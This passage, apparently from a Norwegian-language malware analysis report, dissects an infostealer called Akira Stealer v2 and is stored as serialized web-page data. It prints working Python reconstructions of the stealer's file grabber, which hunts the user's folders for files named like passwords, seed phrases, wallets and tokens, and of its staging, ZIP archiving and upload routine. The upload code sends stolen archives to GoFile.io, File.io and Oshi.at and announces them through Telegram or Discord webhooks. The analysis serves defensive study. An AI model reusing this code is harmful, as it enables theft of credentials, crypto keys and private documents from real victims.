json=webhook_payload)\n",[631,9434,9435,9441],{},[634,9436,9437,9440],{},[568,9438,9439],{},"Flag Emoji",": Utledes fra ISO-landkoden.",[634,9442,9443,9446],{},[568,9444,9445],{},"Fields",": Inneholder antall stjålne passord, cookies og liknende, men systeminformasjonen ligger i embedens description for umiddelbar kontekst.",[526,9448,9449,9452],{},[568,9450,9451],{},"Summary:","\nSystemprofileringen i Akira Stealer v2 samler inn omfattende verts- og nettverksdata via WMI-kommandoer, miljøvariabler og IP-geolokalisering. Kombinert med VM-deteksjon og rutiner som dreper verktøy, sikrer dette at angriperen har et fullt øyeblikksbilde av det kompromitterte miljøet, noe som styrker målrettede oppfølgingshandlinger og siler ut analysesandboxer.",[741,9454,9456,9457,1140],{"id":9455},"_711-filinnsamler-klasse-utilssteal_files","7.11 Filinnsamler (klasse: ",[579,9458,9459],{},"Utils.steal_files",[526,9461,747],{},[526,9463,9464],{},"Utover nettleserdata og tokens forsøker Akira også å hente ut verdifullt brukergenerert innhold, som dokumenter, regneark, private notater og kryptografiske nøkkelfiler. File Grabber-modulen har ansvaret for dette. Den skanner kataloger med høy verdi etter vanlige filtyper og mønstre, og legger dem deretter stille til i eksfiltreringspakken. Det som gjør modulen særlig farlig, er enkelheten og fokuset: den forsøker ikke å gå gjennom hele filsystemet. I stedet retter den seg mot bestemte, sannsynlige steder der sensitive filer vanligvis ligger. Dit hører katalogene Desktop, Documents, Downloads og OneDrive, alle relativt til hjemmestien til brukeren. Den fokuserte tilnærmingen gir både tempo og skjulthet, og reduserer sjansen for å bli oppdaget under skanningen. Den unngår også å varsle brukeren ved ikke å gå inn i system- eller beskyttede kataloger. Når interessante filer er funnet, kopieres de til en midlertidig mappe, eventuelt omdøpt eller gruppert, og komprimeres senere til det endelige ZIP-arkivet som lastes opp i eksfiltreringsfasen.",[889,9466,9468],{"id":9467},"_7111-enumerering-av-målkataloger","7.11.1 Enumerering av målkataloger",[526,9470,895],{},[526,9472,9473],{},"Stealeren konsentrerer seg om fire mapper med høy avkastning:",[616,9475,9477],{"className":4516,"code":9476,"language":4518,"meta":530,"style":530},"searchFolders = [\n    \"Desktop\",\n    \"Documents\",\n    \"Downloads\",\n    \"OneDrive\"\n]\n",[579,9478,9479,9484,9489,9494,9499,9504],{"__ignoreMap":530},[1710,9480,9481],{"class":1712,"line":1713},[1710,9482,9483],{},"searchFolders = [\n",[1710,9485,9486],{"class":1712,"line":531},[1710,9487,9488],{},"    \"Desktop\",\n",[1710,9490,9491],{"class":1712,"line":2094},[1710,9492,9493],{},"    \"Documents\",\n",[1710,9495,9496],{"class":1712,"line":2100},[1710,9497,9498],{},"    \"Downloads\",\n",[1710,9500,9501],{"class":1712,"line":2420},[1710,9502,9503],{},"    \"OneDrive\"\n",[1710,9505,9506],{"class":1712,"line":2426},[1710,9507,7945],{},[526,9509,9510],{},"Hver mappe tolkes relativt til hjemmekatalogen til offeret:",[616,9512,9514],{"className":4516,"code":9513,"language":4518,"meta":530,"style":530},"for folder in searchFolders:\n    current_path = os.path.join(os.environ['USERPROFILE'], folder)\n    if os.path.exists(current_path):\n        # proceed to scan\n",[579,9515,9516,9521,9526,9531],{"__ignoreMap":530},[1710,9517,9518],{"class":1712,"line":1713},[1710,9519,9520],{},"for folder in searchFolders:\n",[1710,9522,9523],{"class":1712,"line":531},[1710,9524,9525],{},"    current_path = os.path.join(os.environ['USERPROFILE'], folder)\n",[1710,9527,9528],{"class":1712,"line":2094},[1710,9529,9530],{},"    if os.path.exists(current_path):\n",[1710,9532,9533],{"class":1712,"line":2100},[1710,9534,9535],{},"        # proceed to scan\n",[889,9537,9539],{"id":9538},"_7112-filtrering-på-nøkkelord-og-filendelse","7.11.2 Filtrering på nøkkelord og filendelse",[526,9541,895],{},[526,9543,9544],{},[568,9545,9546],{},"Keyword List",[526,9548,9549],{},"Et forhåndsdefinert sett med delstrenger styrer filutvalget. Bare filnavn som inneholder minst ett nøkkelord, vurderes:",[616,9551,9553],{"className":4516,"code":9552,"language":4518,"meta":530,"style":530},"keywordsFiles = [\n    \"passw\", \"seed\", \"mnemo\", \"phrase\", \"login\", \"wallet\",\n    \"crypto\", \"token\", \"backup\", \"secret\", \"account\"\n]\n",[579,9554,9555,9560,9565,9570],{"__ignoreMap":530},[1710,9556,9557],{"class":1712,"line":1713},[1710,9558,9559],{},"keywordsFiles = [\n",[1710,9561,9562],{"class":1712,"line":531},[1710,9563,9564],{},"    \"passw\", \"seed\", \"mnemo\", \"phrase\", \"login\", \"wallet\",\n",[1710,9566,9567],{"class":1712,"line":2094},[1710,9568,9569],{},"    \"crypto\", \"token\", \"backup\", \"secret\", \"account\"\n",[1710,9571,9572],{"class":1712,"line":2100},[1710,9573,7945],{},[631,9575,9576,9592],{},[634,9577,9578,9581,9582,9585,9586,586,9589,614],{},[568,9579,9580],{},"Partial Matches",": Nøkkelord som ",[579,9583,9584],{},"passw"," fanger både ",[579,9587,9588],{},"passwords.txt",[579,9590,9591],{},"passw_backup.docx",[634,9593,9594,9597],{},[568,9595,9596],{},"Broad Coverage",": Dekker termer knyttet til autentisering, wallet, krypto og tokens.",[889,9599,9601],{"id":9600},"_7113-filtyper-som-tillates","7.11.3 Filtyper som tillates",[526,9603,895],{},[526,9605,9606],{},"For å redusere støy håndheves en hviteliste av filendelser:",[616,9608,9610],{"className":4516,"code":9609,"language":4518,"meta":530,"style":530},"allowed_extensions = [\n    \".txt\", \".doc\", \".docx\", \".pdf\", \".csv\", \".xls\", \".xlsx\",\n    \".jpg\", \".png\"\n]\n",[579,9611,9612,9617,9622,9627],{"__ignoreMap":530},[1710,9613,9614],{"class":1712,"line":1713},[1710,9615,9616],{},"allowed_extensions = [\n",[1710,9618,9619],{"class":1712,"line":531},[1710,9620,9621],{},"    \".txt\", \".doc\", \".docx\", \".pdf\", \".csv\", \".xls\", \".xlsx\",\n",[1710,9623,9624],{"class":1712,"line":2094},[1710,9625,9626],{},"    \".jpg\", \".png\"\n",[1710,9628,9629],{"class":1712,"line":2100},[1710,9630,7945],{},[889,9632,9634],{"id":9633},"_7113-størrelsesbegrensning","7.11.3 Størrelsesbegrensning",[526,9636,895],{},[526,9638,9639],{},"Filer større enn 2 megabyte hoppes over for å optimalisere eksfiltreringshastigheten og unngå store overføringer:",[616,9641,9643],{"className":4516,"code":9642,"language":4518,"meta":530,"style":530},"file_size_mb = os.path.getsize(full_path) / (1024 * 1024)\nif file_size_mb \u003C= 2:\n    # eligible for copy\n",[579,9644,9645,9650,9655],{"__ignoreMap":530},[1710,9646,9647],{"class":1712,"line":1713},[1710,9648,9649],{},"file_size_mb = os.path.getsize(full_path) / (1024 * 1024)\n",[1710,9651,9652],{"class":1712,"line":531},[1710,9653,9654],{},"if file_size_mb \u003C= 2:\n",[1710,9656,9657],{"class":1712,"line":2094},[1710,9658,9659],{},"    # eligible for copy\n",[889,9661,9663],{"id":9662},"_7114-rekursiv-skanning-og-kopieringslogikk","7.11.4 Rekursiv skanning og kopieringslogikk",[526,9665,895],{},[526,9667,9668],{},"Når katalogene med høy verdi er identifisert, starter Akira en rekursiv skanningsrutine som traverserer undermapper og finner filer som treffer bestemte nøkkelord og filendelser. Fasen er bygget for presisjon og skjulthet: bare filer som treffer forhåndsdefinerte kriterier, som filnavn med sensitive nøkkelord og godkjente filtyper, vurderes. Logikken sørger for at bare relevant, brukergenerert innhold eksfiltreres. Den ignorerer systemfiler, cacher og binaries, og begrenser størrelsen på hver enkelt fil til 2 MB for å redusere opplastingsvolum og risiko for å bli oppdaget. Skannemetoden er stille, effektiv og optimalisert for skjult datatyveri i virkelige miljøer. Ved å kopiere treffene til en staging-mappe og føre en liste over det som ble tatt, klargjør Akira innholdet for pakking og eksfiltrering, samtidig som duplisering og operativ støy holdes nede.",[526,9670,9671,9672,9675],{},"Kjernerutinen ",[579,9673,9674],{},"steal_files()"," fungerer slik:",[616,9677,9679],{"className":4516,"code":9678,"language":4518,"meta":530,"style":530},"@staticmethod\ndef steal_files():\n    stolen_files = set()\n    temp_folder = Utils.get_temp_folder()\n\n    for folder in searchFolders:\n        current_path = os.path.join(os.environ['USERPROFILE'], folder)\n        if os.path.exists(current_path):\n            for root, _, files in os.walk(current_path):\n                for file in files:\n                    lower = file.lower()\n                    # Keyword check\n                    if any(keyword in lower for keyword in keywordsFiles):\n                        ext = os.path.splitext(lower)[1]\n                        # Extension and size check\n                        if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) \u003C= 2 * 1024 * 1024:\n                            # Prepare destination\n                            files_dir = os.path.join(temp_folder, \"Files\")\n                            os.makedirs(files_dir, exist_ok=True)\n                            shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))\n                            stolen_files.add(file)\n    data.stolen_files.extend(stolen_files)\n",[579,9680,9681,9685,9690,9695,9700,9704,9709,9714,9719,9724,9729,9734,9739,9744,9749,9754,9759,9764,9769,9774,9779,9784],{"__ignoreMap":530},[1710,9682,9683],{"class":1712,"line":1713},[1710,9684,5007],{},[1710,9686,9687],{"class":1712,"line":531},[1710,9688,9689],{},"def steal_files():\n",[1710,9691,9692],{"class":1712,"line":2094},[1710,9693,9694],{},"    stolen_files = set()\n",[1710,9696,9697],{"class":1712,"line":2100},[1710,9698,9699],{},"    temp_folder = Utils.get_temp_folder()\n",[1710,9701,9702],{"class":1712,"line":2420},[1710,9703,3877],{"emptyLinePlaceholder":325},[1710,9705,9706],{"class":1712,"line":2426},[1710,9707,9708],{},"    for folder in searchFolders:\n",[1710,9710,9711],{"class":1712,"line":3084},[1710,9712,9713],{},"        current_path = os.path.join(os.environ['USERPROFILE'], folder)\n",[1710,9715,9716],{"class":1712,"line":3880},[1710,9717,9718],{},"        if os.path.exists(current_path):\n",[1710,9720,9721],{"class":1712,"line":3886},[1710,9722,9723],{},"            for root, _, files in os.walk(current_path):\n",[1710,9725,9726],{"class":1712,"line":4131},[1710,9727,9728],{},"                for file in files:\n",[1710,9730,9731],{"class":1712,"line":5055},[1710,9732,9733],{},"                    lower = file.lower()\n",[1710,9735,9736],{"class":1712,"line":5061},[1710,9737,9738],{},"                    # Keyword check\n",[1710,9740,9741],{"class":1712,"line":5067},[1710,9742,9743],{},"                    if any(keyword in lower for keyword in keywordsFiles):\n",[1710,9745,9746],{"class":1712,"line":5073},[1710,9747,9748],{},"                        ext = os.path.splitext(lower)[1]\n",[1710,9750,9751],{"class":1712,"line":5079},[1710,9752,9753],{},"                        # Extension and size check\n",[1710,9755,9756],{"class":1712,"line":5085},[1710,9757,9758],{},"                        if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) \u003C= 2 * 1024 * 1024:\n",[1710,9760,9761],{"class":1712,"line":5091},[1710,9762,9763],{},"                            # Prepare destination\n",[1710,9765,9766],{"class":1712,"line":5097},[1710,9767,9768],{},"                            files_dir = os.path.join(temp_folder, \"Files\")\n",[1710,9770,9771],{"class":1712,"line":5103},[1710,9772,9773],{},"                            os.makedirs(files_dir, exist_ok=True)\n",[1710,9775,9776],{"class":1712,"line":5109},[1710,9777,9778],{},"                            shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))\n",[1710,9780,9781],{"class":1712,"line":5115},[1710,9782,9783],{},"                            stolen_files.add(file)\n",[1710,9785,9786],{"class":1712,"line":5121},[1710,9787,9788],{},"    data.stolen_files.extend(stolen_files)\n",[526,9790,9791],{},[568,9792,9793],{},"Key points:",[2108,9795,9796,9804,9813,9822,9828],{},[634,9797,9798,9803],{},[568,9799,9800],{},[579,9801,9802],{},"os.walk",": Går rekursivt ned i underkataloger.",[634,9805,9806,9809,9810,614],{},[568,9807,9808],{},"Case-insensitive matching",": Filnavn normaliseres via ",[579,9811,9812],{},"lower()",[634,9814,9815,9818,9819,9821],{},[568,9816,9817],{},"Atomic copy",": Bruker ",[579,9820,7811],{}," for å bevare filinnholdet.",[634,9823,9824,9827],{},[568,9825,9826],{},"Set of stolen filenames",": Hindrer dobbeltkopier når samme fil forekommer to ganger.",[634,9829,9830,1000,9835,9838],{},[568,9831,9832,9833],{},"Integration with ",[579,9834,9092],{},[579,9836,9837],{},"data.stolen_files"," samler listen over stjålne filer for senere rapportering.",[889,9840,9842],{"id":9841},"_7115-arkivering-og-eksfiltrering","7.11.5 Arkivering og eksfiltrering",[526,9844,895],{},[526,9846,9847,9848,9851],{},"Etter innsamlingen zippes ",[579,9849,9850],{},"Files","-mappen og sendes av gårde:",[616,9853,9855],{"className":4516,"code":9854,"language":4518,"meta":530,"style":530},"# Archive\nUtils.zip_client_file()  # creates CLIENT.zip from temp_folder\n\n# Upload & Notify\nakira.sendFilesTG(Utils.get_temp_folder(), startup)\nhook.sendFilesTG(Utils.get_temp_folder(), startup)\n",[579,9856,9857,9862,9867,9871,9876,9881],{"__ignoreMap":530},[1710,9858,9859],{"class":1712,"line":1713},[1710,9860,9861],{},"# Archive\n",[1710,9863,9864],{"class":1712,"line":531},[1710,9865,9866],{},"Utils.zip_client_file()  # creates CLIENT.zip from temp_folder\n",[1710,9868,9869],{"class":1712,"line":2094},[1710,9870,3877],{"emptyLinePlaceholder":325},[1710,9872,9873],{"class":1712,"line":2100},[1710,9874,9875],{},"# Upload & Notify\n",[1710,9877,9878],{"class":1712,"line":2420},[1710,9879,9880],{},"akira.sendFilesTG(Utils.get_temp_folder(), startup)\n",[1710,9882,9883],{"class":1712,"line":2426},[1710,9884,9885],{},"hook.sendFilesTG(Utils.get_temp_folder(), startup)\n",[631,9887,9888,9904],{},[634,9889,9890,9895,9896,647,9898,647,9900,9903],{},[568,9891,9892],{},[579,9893,9894],{},"zip_client_file()",": Komprimerer hele temp-katalogen, inkludert ",[579,9897,9850],{},[579,9899,6350],{},[579,9901,9902],{},"Passwords"," og liknende.",[634,9905,9906,9910,9911],{},[568,9907,9908],{},[579,9909,9074],{},": Poster nedlastingslenken via Telegram eller Discord-webhook og lister hvert stjålne filnavn:",[616,9912,9914],{"className":4516,"code":9913,"language":4518,"meta":530,"style":530},"fields.append({\n\"name\": \"📂 Files\",\n\"value\": \"`\" + \"\\n\".join(data.stolen_files) + \"`\",\n\"inline\": False\n})\n",[579,9915,9916,9921,9926,9931,9936],{"__ignoreMap":530},[1710,9917,9918],{"class":1712,"line":1713},[1710,9919,9920],{},"fields.append({\n",[1710,9922,9923],{"class":1712,"line":531},[1710,9924,9925],{},"\"name\": \"📂 Files\",\n",[1710,9927,9928],{"class":1712,"line":2094},[1710,9929,9930],{},"\"value\": \"`\" + \"\\n\".join(data.stolen_files) + \"`\",\n",[1710,9932,9933],{"class":1712,"line":2100},[1710,9934,9935],{},"\"inline\": False\n",[1710,9937,9938],{"class":1712,"line":2420},[1710,9939,9940],{},"})\n",[526,9942,9943],{},[568,9944,9945],{},"Conclusion:",[526,9947,9948],{},"File Grabber i Akira Stealer v2 jakter systematisk på sensitive dokumenter ved hjelp av filtre på nøkkelord og filendelse, respekterer en størrelsesgrense på 2 MB av effektivitetshensyn og samler de stjålne elementene i et arkiv. Designet gir både bredde (flere mapper) og presisjon (målrettede filtre), og det gjør modulen til en av de mest virkningsfulle fasene i livsløpet til malwaren.",[741,9950,9952],{"id":9951},"_712-eksfiltreringsstrategi","7.12 Eksfiltreringsstrategi",[526,9954,747],{},[526,9956,9957],{},"Eksfiltreringsmodulen håndterer innhøstede tokens og andre artefakter (cookies, autofills, logger) ved å stage dem i en strukturert katalog, komprimere dem til et arkiv, laste dem opp til flere filverter på nett og sende detaljerte webhook-varsler. Dette avsnittet dekonstruerer hvert steg med filstier, domeneendepunkter og kodereferanser for full sporbarhet.",[889,9959,9961],{"id":9960},"_7121-katalogstruktur-og-filnavn","7.12.1 Katalogstruktur og filnavn",[526,9963,895],{},[526,9965,9966],{},"Akira organiserer alle innsamlede artefakter i en ryddig og hierarkisk midlertidig katalogstruktur. Designet gir effektiv pakking og enkel gjennomgang hos angriperen etter eksfiltreringen. Hver datakategori, som Tokens, Cookies, Passwords eller Screenshots, ligger i sin egen undermappe under en rotsti oppkalt etter datamaskinen til offeret (for eksempel DESKTOP1234). Den strukturerte layouten gir oversikt, minimerer duplisering og effektiviserer arkiverings- og opplastingsprosessen. Den gjør også automatisert tolkning eller manuell inspeksjon langt enklere på angriperens side.",[616,9968,9971],{"className":9969,"code":9970,"language":621},[619],"C:\\Users\\User\\AppData\\Local\\Temp\\DESKTOP1234\\\n├─ Tokens\\\n│   ├ token_ab12cd34.txt\n│   └ token_ef56gh78.txt\n├─ Cookies\\\n│   ├ Chrome_Cookies.txt\n│   └ Discord_Cookies.txt\n├─ Autofill\\\n├─ Passwords\\\n├─ Logs\\\n└─ Screenshots\\\n",[579,9972,9970],{"__ignoreMap":530},[889,9974,9976],{"id":9975},"_7122-staging-av-tokens-og-artefakter","7.12.2 Staging av tokens og artefakter",[526,9978,895],{},[526,9980,9981],{},"Før eksfiltreringen stager Akira alle relevante artefakter i de tilhørende undermappene. Token-verdier skrives for eksempel til hver sin .txt-fil for å gjøre rask skanning og validering enklere. Cookies, autofyll-oppføringer og passord skrives på samme måte til strukturerte tekstfiler oppkalt etter nettleser. Steget standardiserer datalayouten og gjør det mulig for automatiserte verktøy å spore hva som ble høstet inn. Det sikrer også at zip-arkivet senere følger et forutsigbart og angripervennlig format, uansett hvilke moduler som ble utløst.",[616,9983,9985],{"className":4516,"code":9984,"language":4518,"meta":530,"style":530},"import os, shutil\n# Constants\nTMP = os.getenv('TEMP')\nROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))\n# Prepare structure\nfor sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:\n    os.makedirs(os.path.join(ROOT, sub), exist_ok=True)\n# Save token\nwith open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:\n    f.write(token)\n",[579,9986,9987,9992,9997,10002,10007,10012,10017,10022,10027,10032],{"__ignoreMap":530},[1710,9988,9989],{"class":1712,"line":1713},[1710,9990,9991],{},"import os, shutil\n",[1710,9993,9994],{"class":1712,"line":531},[1710,9995,9996],{},"# Constants\n",[1710,9998,9999],{"class":1712,"line":2094},[1710,10000,10001],{},"TMP = os.getenv('TEMP')\n",[1710,10003,10004],{"class":1712,"line":2100},[1710,10005,10006],{},"ROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))\n",[1710,10008,10009],{"class":1712,"line":2420},[1710,10010,10011],{},"# Prepare structure\n",[1710,10013,10014],{"class":1712,"line":2426},[1710,10015,10016],{},"for sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:\n",[1710,10018,10019],{"class":1712,"line":3084},[1710,10020,10021],{},"    os.makedirs(os.path.join(ROOT, sub), exist_ok=True)\n",[1710,10023,10024],{"class":1712,"line":3880},[1710,10025,10026],{},"# Save token\n",[1710,10028,10029],{"class":1712,"line":3886},[1710,10030,10031],{},"with open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:\n",[1710,10033,10034],{"class":1712,"line":4131},[1710,10035,10036],{},"    f.write(token)\n",[631,10038,10039,10042],{},[634,10040,10041],{},"Tokens lagres i separate små tekstfiler for rask inspeksjon.",[634,10043,10044,10045,10048,10049,614],{},"Cookie-dumper fra ",[579,10046,10047],{},"Chromium.GetCookies()"," skrives til ",[579,10050,10051],{},"{Browser}_Cookies.txt",[889,10053,10055],{"id":10054},"_7133-oppretting-av-zip-arkiv","7.13.3 Oppretting av ZIP-arkiv",[526,10057,895],{},[526,10059,10060,10061],{},"Når stagingen er ferdig, komprimerer Akira hele katalogen til ett enkelt ZIP-arkiv. Filnavnet på arkivet følger en konsekvent navnekonvensjon: ",[10062,10063,10064,10065],"computer-name",{},"_",[10066,10067,10068],"timestamp",{},".zip, med maskinnavnet til verten og et UTC-tidsstempel i ISO 8601-format. Det sikrer både unikhet og kronologisk sporbarhet. Ved å gå gjennom hele staging-katalogen rekursivt bevares hver fil i sin relative struktur inne i ZIP-arkivet. Formatet forenkler massenedlasting og inspeksjon for angripere, særlig hvis hundrevis av ofre kompromitteres parallelt.",[616,10070,10072],{"className":4516,"code":10071,"language":4518,"meta":530,"style":530},"import zipfile, datetime\n\ndef create_archive(root_dir: str) -> str:\n    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n    with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:\n        for dirpath, _, files in os.walk(root_dir):\n            for fname in files:\n                full = os.path.join(dirpath, fname)\n                rel = os.path.relpath(full, root_dir)\n                zf.write(full, rel)\n    return zip_path\n",[579,10073,10074,10079,10083,10088,10093,10098,10103,10108,10113,10118,10123,10128,10133],{"__ignoreMap":530},[1710,10075,10076],{"class":1712,"line":1713},[1710,10077,10078],{},"import zipfile, datetime\n",[1710,10080,10081],{"class":1712,"line":531},[1710,10082,3877],{"emptyLinePlaceholder":325},[1710,10084,10085],{"class":1712,"line":2094},[1710,10086,10087],{},"def create_archive(root_dir: str) -> str:\n",[1710,10089,10090],{"class":1712,"line":2100},[1710,10091,10092],{},"    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n",[1710,10094,10095],{"class":1712,"line":2420},[1710,10096,10097],{},"    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n",[1710,10099,10100],{"class":1712,"line":2426},[1710,10101,10102],{},"    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n",[1710,10104,10105],{"class":1712,"line":3084},[1710,10106,10107],{},"    with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:\n",[1710,10109,10110],{"class":1712,"line":3880},[1710,10111,10112],{},"        for dirpath, _, files in os.walk(root_dir):\n",[1710,10114,10115],{"class":1712,"line":3886},[1710,10116,10117],{},"            for fname in files:\n",[1710,10119,10120],{"class":1712,"line":4131},[1710,10121,10122],{},"                full = os.path.join(dirpath, fname)\n",[1710,10124,10125],{"class":1712,"line":5055},[1710,10126,10127],{},"                rel = os.path.relpath(full, root_dir)\n",[1710,10129,10130],{"class":1712,"line":5061},[1710,10131,10132],{},"                zf.write(full, rel)\n",[1710,10134,10135],{"class":1712,"line":5067},[1710,10136,10137],{},"    return zip_path\n",[631,10139,10140],{},[634,10141,10142,10143,10146],{},"Arkivet navngis ",[579,10144,10145],{},"DESKTOP1234_20250505T123456Z.zip"," av hensyn til sammenheng med verten.",[526,10148,10149],{},[568,10150,10151],{},"ZIP Filename Convention",[526,10153,10154],{},"Arkivet navngis med datamaskinnavnet til den kompromitterte verten, fulgt av et UTC-tidsstempel i ISO-format, noe som sikrer unikhet og kronologisk rekkefølge.",[616,10156,10158],{"className":4516,"code":10157,"language":4518,"meta":530,"style":530},"import datetime, os\n\ndef create_archive(root_dir: str) -> str:\n    # Generate UTC timestamp in YYYYMMDDThhmmssZ format\n    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n    # Construct ZIP filename: \u003CComputerName>_\u003CTimestamp>.zip\n    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n    return zip_path\n",[579,10159,10160,10165,10169,10173,10178,10182,10187,10191,10195],{"__ignoreMap":530},[1710,10161,10162],{"class":1712,"line":1713},[1710,10163,10164],{},"import datetime, os\n",[1710,10166,10167],{"class":1712,"line":531},[1710,10168,3877],{"emptyLinePlaceholder":325},[1710,10170,10171],{"class":1712,"line":2094},[1710,10172,10087],{},[1710,10174,10175],{"class":1712,"line":2100},[1710,10176,10177],{},"    # Generate UTC timestamp in YYYYMMDDThhmmssZ format\n",[1710,10179,10180],{"class":1712,"line":2420},[1710,10181,10092],{},[1710,10183,10184],{"class":1712,"line":2426},[1710,10185,10186],{},"    # Construct ZIP filename: \u003CComputerName>_\u003CTimestamp>.zip\n",[1710,10188,10189],{"class":1712,"line":3084},[1710,10190,10097],{},[1710,10192,10193],{"class":1712,"line":3880},[1710,10194,10102],{},[1710,10196,10197],{"class":1712,"line":3886},[1710,10198,10137],{},[526,10200,10154],{},[889,10202,10204],{"id":10203},"_7144-opplastingsflyt","7.14.4 Opplastingsflyt",[526,10206,895],{},[526,10208,10209],{},"Akira bruker en opplastingsstrategi i tre nivåer for å maksimere sjansen for at dataeksfiltreringen lykkes. Den forsøker først å laste opp arkivet til GoFile.io via det offentlige API-et deres, som returnerer en nedlastingslenke. Er GoFile utilgjengelig eller blokkert, faller den tilbake på File.io og deretter Oshi.at, slik at dataene alltid kommer ut. Disse tjenestene tilbyr anonym, kortlevd hosting, noe som gjør takedown og sporing vanskelig. Skriptet fanger den endelige nedlastings-URL-en og klargjør den for webhook-leveranse.",[2108,10211,10212,10244,10270],{},[634,10213,10214,10217],{},[568,10215,10216],{},"Primary: GoFile.io",[631,10218,10219,10227,10235],{},[634,10220,10221,1000,10224],{},[568,10222,10223],{},"API to fetch servers",[579,10225,10226],{},"GET https://api.gofile.io/servers",[634,10228,10229,1000,10232],{},[568,10230,10231],{},"Upload endpoint",[579,10233,10234],{},"POST https://\u003Cserver>.gofile.io/contents/uploadfile",[634,10236,10237,1000,10240,10243],{},[568,10238,10239],{},"Response field",[579,10241,10242],{},"data.downloadPage"," inneholder den endelige URL-en.",[634,10245,10246,10249],{},[568,10247,10248],{},"Fallback #1: File.io",[631,10250,10251,10261],{},[634,10252,10253,1000,10255,1283,10258],{},[568,10254,10231],{},[579,10256,10257],{},"POST https://file.io/",[579,10259,10260],{},"files={'file': open(...)}",[634,10262,10263,10266,10267,614],{},[568,10264,10265],{},"Response",": JSON-feltet ",[579,10268,10269],{},"link",[634,10271,10272,10275],{},[568,10273,10274],{},"Fallback #2: Oshi.at",[631,10276,10277,10291],{},[634,10278,10279,1000,10281,1283,10284,10287,10288,614],{},[568,10280,10231],{},[579,10282,10283],{},"POST http://oshi.at/",[579,10285,10286],{},"files[]"," og parameterne ",[579,10289,10290],{},"expire=43200, autodestroy=0",[634,10292,10293,10295,10296,614],{},[568,10294,10265],{},": Klartekst som inneholder ",[579,10297,10298],{},"DL: \u003Curl>",[526,10300,10301],{},[568,10302,10303],{},"Implementation Snippet:",[616,10305,10307],{"className":4516,"code":10306,"language":4518,"meta":530,"style":530},"import requests\n\ndef upload_with_fallback(zip_path):\n    # GoFile\n    try:\n        servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']\n        for srv in servers:\n            try:\n                r = requests.post(\n                    f'https://{srv}.gofile.io/contents/uploadfile',\n                    files={'file': open(zip_path,'rb')}, timeout=20)\n                url = r.json()['data']['downloadPage']\n                if url: return url\n            except: continue\n    except: pass\n    # File.io\n    try:\n        r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)\n        return r.json().get('link','')\n    except: pass\n    # Oshi.at\n    try:\n        text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text\n        return text.split('DL: ')[1].strip()\n    except: pass\n    return ''\n",[579,10308,10309,10314,10318,10323,10328,10332,10337,10342,10347,10352,10357,10362,10367,10372,10377,10382,10387,10391,10396,10401,10405,10410,10414,10419,10424,10428],{"__ignoreMap":530},[1710,10310,10311],{"class":1712,"line":1713},[1710,10312,10313],{},"import requests\n",[1710,10315,10316],{"class":1712,"line":531},[1710,10317,3877],{"emptyLinePlaceholder":325},[1710,10319,10320],{"class":1712,"line":2094},[1710,10321,10322],{},"def upload_with_fallback(zip_path):\n",[1710,10324,10325],{"class":1712,"line":2100},[1710,10326,10327],{},"    # GoFile\n",[1710,10329,10330],{"class":1712,"line":2420},[1710,10331,5170],{},[1710,10333,10334],{"class":1712,"line":2426},[1710,10335,10336],{},"        servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']\n",[1710,10338,10339],{"class":1712,"line":3084},[1710,10340,10341],{},"        for srv in servers:\n",[1710,10343,10344],{"class":1712,"line":3880},[1710,10345,10346],{},"            try:\n",[1710,10348,10349],{"class":1712,"line":3886},[1710,10350,10351],{},"                r = requests.post(\n",[1710,10353,10354],{"class":1712,"line":4131},[1710,10355,10356],{},"                    f'https://{srv}.gofile.io/contents/uploadfile',\n",[1710,10358,10359],{"class":1712,"line":5055},[1710,10360,10361],{},"                    files={'file': open(zip_path,'rb')}, timeout=20)\n",[1710,10363,10364],{"class":1712,"line":5061},[1710,10365,10366],{},"                url = r.json()['data']['downloadPage']\n",[1710,10368,10369],{"class":1712,"line":5067},[1710,10370,10371],{},"                if url: return url\n",[1710,10373,10374],{"class":1712,"line":5073},[1710,10375,10376],{},"            except: continue\n",[1710,10378,10379],{"class":1712,"line":5079},[1710,10380,10381],{},"    except: pass\n",[1710,10383,10384],{"class":1712,"line":5085},[1710,10385,10386],{},"    # File.io\n",[1710,10388,10389],{"class":1712,"line":5091},[1710,10390,5170],{},[1710,10392,10393],{"class":1712,"line":5097},[1710,10394,10395],{},"        r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)\n",[1710,10397,10398],{"class":1712,"line":5103},[1710,10399,10400],{},"        return r.json().get('link','')\n",[1710,10402,10403],{"class":1712,"line":5109},[1710,10404,10381],{},[1710,10406,10407],{"class":1712,"line":5115},[1710,10408,10409],{},"    # Oshi.at\n",[1710,10411,10412],{"class":1712,"line":5121},[1710,10413,5170],{},[1710,10415,10416],{"class":1712,"line":5127},[1710,10417,10418],{},"        text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text\n",[1710,10420,10421],{"class":1712,"line":5133},[1710,10422,10423],{},"        return text.split('DL: ')[1].strip()\n",[1710,10425,10426],{"class":1712,"line":5139},[1710,10427,10381],{},[1710,10429,10430],{"class":1712,"line":5806},[1710,10431,10432],{},"    return 